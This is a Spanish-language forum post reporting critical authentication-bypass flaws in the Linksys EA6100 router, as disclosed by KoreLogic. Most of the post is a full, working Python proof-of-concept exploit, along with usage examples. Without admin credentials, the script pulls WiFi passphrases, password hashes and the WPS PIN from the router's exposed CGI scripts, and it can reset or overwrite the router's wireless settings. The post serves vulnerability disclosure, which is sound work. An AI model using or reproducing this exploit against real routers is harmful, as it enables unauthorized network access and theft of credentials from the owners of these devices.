El libre pensamiento para un internet libre

No estas registrado.  

#1 08-12-2015 01:26:18

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 5,730

El Linksys EA6100 (ac1200) viene con unas brechas criticas

Brechas de seguridad criticas en el Linksys EA6100

El Lynksis ea6100 es un punto de acceso compatible banda "a" y que puede alcanzar los 1200 Mbps con su MIMO 2T2R (dos antenas)

ea6100.jpg

No tiene mala pinta... desgraciadamente lleva de serie unas brechas muy serias que Linksys no ha arreglado hmm 
Brechas desveladas por Matt BERGIN de KoreLogic, Inc.
Ver:

Veamos un poco como,  porque y por dónde duele...

Scripts *.cgi ejecutables sin privilegios

  Los scripts *.cgi son scripts "sistema" que permiten efectuar tareas de configuración.
Un intruso puede configurar el router sin conocer el password de administrador haciendo llamadas directas a los scripts *.cgi del EA6100
Puede incluso obtener información como la contraseña WiFi o el PIN WPS

  miremos que pasa...
Empezamos con un listado de los directorios en la raíz (comando ls)

root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# ls
     bin  dev  etc  home  JNAP  lib  libexec  linuxrc  mnt  opt  proc  root
     sbin  sys  tmp  usr  var  www

Navegamos un poco para legar dónde están los scripts *cgi (en www)

root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# cd www
     root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# ls
     bootloader_info.cgi  dhcp_log.txt    get_counter_info.cgi
     incoming_log.txt  JNAP         outgoing_log.txt  security_log.txt
     sysinfo.cgi  usbinfo.cgi     cgi-bin              ezwifi_cfg.cgi
     getstinfo.cgi         jcgi              license.pdf  qos_info.cgi
     speedtest_info.cgi  ui

Podemos ver scripts como sysinfo.cgi que no requieren credenciales...

"Exploitando" la brecha

Jugando con sysinfo.cgi Matt ha creado un exploit que nos propone :

./linksys-ea6100-auth-bypass -h
     Usage: ./linksys-ea6100-auth-bypass [params]

     -h Help Menu
     -i Target Address
     -r Reset Attack
     -g Get System Info
     -p Get Wifi Password

Si queremos conocer la contraseña wifi...

 ./linksys-ea6100-auth-bypass -i <ip_router> -p

Y Obtenemos la contraseña

     Getting wireless passphrase

     SSID=840146d6919<redacted>
     Passphrase=e0fc253e585bf33d7b<redacted>

Aquí tenéis el exploit (script python)

     #!/usr/bin/env python3
     ########################################################################
     #
     # Copyright 2015 KoreLogic Inc.,  All Rights Reserved.
     #
     # This proof of concept,  having been partly or wholly developed
     # and/or sponsored by KoreLogic,  Inc.,  is hereby released under
     # the terms and conditions set forth in the Creative Commons
     # Attribution Share-Alike 4.0 (United States) License:
     #
     #   http://creativecommons.org/licenses/by-sa/4.0/
     #
     #######################################################################

     from optparse import OptionParser
     from urllib.request import urlopen, Request
     from base64 import b64encode
     from json import loads
     from sys import exit


     def reset_ap(host, passphrase):
         """Resets the wireless security settings of the access point."""
         try:
             payload = '[{"action":"http://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":[{"radioID":"RADIO_5GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic"}}}]}}]'
             headers = {'X-JNAP-Action': 'http://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))}
             request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers)
             fd = urlopen(request)
             data5 = loads(fd.read())['result']
             fd.close()
         except Exception as e:
             print("[!] Could not reset the 5ghz access point security, reason: {0}.".format(str(e)))
             return -1
         try:
             payload = '[{"action":"http://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":[{"radioID":"RADIO_2GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic2", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic2"}}}]}}]'
             headers = {'X-JNAP-Action': 'http://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))}
             request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers)
             fd = urlopen(request)
             data2 = loads(fd.read())['result']
             fd.close()
         except Exception as e:
             print("[!] Could not reset the 2.4ghz access point security, reason: {0}".format(str(e)))
             return -1
         return data5, data2


     def is_admin_default(host):
         """Determines whether or not the administrator passphrase is default."""
         try:
             request = Request("https://{:s}/JNAP/".format(str(host)), "{}".encode('ascii'), {'X-JNAP-Action': 'http://linksys.com/jnap/core/IsAdminPasswordDefault'})
             fd = urlopen(request)
             data = loads(fd.read().decode('utf-8'))['output']['isAdminPasswordDefault']
             fd.close()
         except Exception as e:
             print("[!] Could not determine if administrator passphrase is default, reason: {0}".format(str(e)))
             return -1
         return data


     def is_host_alive(host):
         """Does a basic HTTP test to determine access."""
         try:
             fd = urlopen("https://{:s}/".format(str(host)))
             fd.close()
         except Exception as e:
             print("[!] Could not determine if target host was alive, reason: {:s}".format(str(e)))
             return False
         print("[+] Target host is alive, proceeding.")
         return True


     def run_payload(host, payload_url):
         """Run a provided HTTP request."""
         try:
             target = "https://{:s}/{:s}".format(str(host), str(payload_url))
             fd = urlopen(target)
             data = fd.read()
             fd.close()
         except Exception as e:
             print("[!] Unable to execute payload,  reason: {0}".format(str(e)))
             return -1
         return data.decode('utf-8')


     def main():
         """Handle options provided and execute appropriate payloads."""
         payload_url, o, a = None, None, None
         print("Brought to you by Level at KoreLogic\n")
         parser = OptionParser()
         parser.add_option("--host", dest="host", help="Target IP address")
         parser.add_option("--sysinfo", action="store_true", help="Get target system information")
         parser.add_option("--getpwhash", action="store_true", help="Get target wireless password hash")
         parser.add_option("--getclearpw", action="store_true", help="Get target wireless SSID and cleartext password")
         parser.add_option("--isdefault", action="store_true", help="Check if target is running the default admin credential (if yes, obtain passphrase)")
         parser.add_option("--resetwifi", action="store_true", help="Reset the access point security (requires default passphrase)")
         parser.add_option("--poisonwifi", action="store_true", help="Poison the access point security settings")
         parser.add_option("--getwpspin", action="store_true", help="Get the WPS pin for the target")
         o, a = parser.parse_args()
         if o.host is None:
             print("[!] You must specify a target host, please see --help")
             exit(1)
         else:
             if is_host_alive(o.host) is not True:
                 print("[!] Could not establish connection to target")
                 exit(1)
             else:
                 if o.sysinfo is not None:
                     print("[+] Obtaining system information -")
                     payload_url = "sysinfo.cgi"
                     response = run_payload(o.host, payload_url)
                     if response is not -1:
                         for line in response.split("\n"):
                             print(line)
                 if o.getpwhash is not None:
                     print("[+] Obtaining wireless password hash -")
                     payload_url = "getstinfo.cgi"
                     response = run_payload(o.host, payload_url)
                     if response is not -1:
                         for line in response.split("\n"):
                             print("\t{0}".format(str(line)))
                 if o.getclearpw is not None:
                     print("[+] Obtaining wireless ssid and password -")
                     payload_url = "sysinfo.cgi"
                     response = run_payload(o.host, payload_url)
                     if response is not -1:
                         for line in response.split("\n"):
                             if "wl0_ssid=" in line:
                                 print("\twl0 SSID: {0}".format(str(line.split("=")[1])))
                             if "wl1_ssid=" in line:
                                 print("\twl1 SSID: {0}".format(str(line.split("=")[1])))
                             if "wl0_passphrase=" in line:
                                 print("\twl0 Passphrase: {0}".format(str(line.split("=")[1])))
                             if "wl1_passphrase=" in line:
                                 print("\twl1 Passphrase: {0}".format(str(line.split("=")[1])))
                 if o.isdefault is not None:
                     print("[+] Checking if administrator passphrase is default -")
                     payload_url = "sysinfo.cgi"
                     response = is_admin_default(o.host)
                     if response is True:
                         print("[+] Passphrase is default, asking for the password -")
                         payload_url = "sysinfo.cgi"
                         response = run_payload(o.host, payload_url)
                         if response is not -1:
                             for line in response.split("\n"):
                                 if "device::default_passphrase=" in line:
                                     print("\tDefault passphrase: {0}".format(str(line.split("=")[1])))
                     else:
                         print("[!] Passphrase is not default")
                 if o.getwpspin is not None:
                     print("[+] Getting WPS pin -")
                     payload_url = "sysinfo.cgi"
                     response = run_payload(o.host, payload_url)
                     if response is not -1:
                         for line in response.split("\n"):
                             if "device::wps_pin=" in line:
                                 print("\tWPS PIN: {0}".format(str(line.split("=")[1])))
                 if o.resetwifi is not None:
                     print("[+] Resetting the access point security -")
                     payload_url = "sysinfo.cgi"
                     response = is_admin_default(o.host)
                     if response is True:
                         print("[+] Admin password is default, asking for the password")
                         response = run_payload(o.host, payload_url)
                         if response is not -1:
                             for line in response.split("\n"):
                                 if "device::default_passphrase=" in line:
                                     passphrase = line.split("=")[1]
                                     print("[+] Got the passphrase: {0}".format(str(passphrase)))
                                     data5, data2 = reset_ap(o.host, passphrase)
                                     if data5 is 'OK' and data2 is 'OK':
                                         print("[+] AP will now restart with the SSID and passphrase: korelogic/korelogic and korelogic2/korelogic2")
                     else:
                         print("[!] Admin password is not default.")
                 if o.poisonwifi is not None:
                     print("[+] Poisoning wireless ssid configuration")
                     payload_url = "ezwifi_cfg.cgi?CMD=configure&2ssid=korelogic&2passphrase=korelogic&2mode=11b&5ssid=korelogic2&5passphrase=korelogic2&5mode=11a"
                     response = run_payload(o.host, payload_url)
                     if response is not -1:
                         payload_url = "sysinfo.cgi"
                         response = run_payload(o.host, payload_url)
                         if response is not -1:
                             ap_poisoned = None
                             for line in response.split("\n"):
                                 if "wl0_ssid=" in line or "wl1_ssid=" in line:
                                     if "korelogic" in line:
                                         print("[+] Access point ssid settings poisoned. An administrator will need to hit Apply anywhere in the UI")
                                         ap_poisoned = 1
                             if ap_poisoned is None:
                                 print("[!] Access point ssid settings could not be poisoned, consider running --getclearpw")
                 if payload_url is None:
                     print("[!] No attack has been specified, please see --help")
                     exit(1)
         return exit(0)

     if __name__ == "__main__":
         main()

Les invito a echar un ojo a esta parte para ver en detale lo que hace el exploit

         parser.add_option("--host", dest="host", help="Target IP address")
         parser.add_option("--sysinfo", action="store_true", help="Get target system information")
         parser.add_option("--getpwhash", action="store_true", help="Get target wireless password hash")
         parser.add_option("--getclearpw", action="store_true", help="Get target wireless SSID and cleartext password")
         parser.add_option("--isdefault", action="store_true", help="Check if target is running the default admin credential (if yes, obtain passphrase)")
         parser.add_option("--resetwifi", action="store_true", help="Reset the access point security (requires default passphrase)")
         parser.add_option("--poisonwifi", action="store_true", help="Poison the access point security settings")
         parser.add_option("--getwpspin", action="store_true", help="Get the WPS pin for the target")

  El exploit no es muy "maligno" ya que se limita a dar los credenciales Wifi (pass y PIN WPS) y verifica si el pass de administrador es el por defecto o no.
Pero es solo una forma de explotar uno de los script *.cgi
  Los de KoreLogic Inc advierten y dejan muy claro de que los otros scripts *.cgi permiten elaborar exploits mucho mas peligrosas que un simple "leaching" de los datos WiFi.

  El gran problema en este asunto es la ausencia de reacción por parte de Lynksis.   
Ni una palabra...
... Así que lo tenemos claro : No van a hacer nada al respecto. hmm

Si habías pensado pedir a los reyes un EA6100.. ¡No lo hagas! tongue

Desconectado

Temas similares

Tema Respuestas Vistas Ultimo mensaje
2 171 Hoy 15:25:52 por Patcher
Pegado:
521 340000 10-05-2023 18:24:28 por Betis-Jesus
Hospital clinic dump por wifiyeah  [ 1 2 ]
27 1242 09-05-2023 21:32:44 por kcdtv
Hacktivismo por CHARGER22
1 205 08-05-2023 19:53:26 por kcdtv
Pegado:
Pegado:: Script multiuso wifi para Kali y otras distros por v1s1t0r  [ 1 2 3 18 ]
447 66090 22-04-2023 15:31:13 por kcdtv

Pie de página

Información del usuario

Ultimo usuario registrado: klurosu
Usuarios registrados conectados: 0
Invitados conectados: 12

Estadisticas de los foros

Número total de usuarios registrados: 2,446
Número total de temas: 1,637
Número total de mensajes: 15,586

Máx. usuarios conectados: 373 el 30-09-2019 15:04:36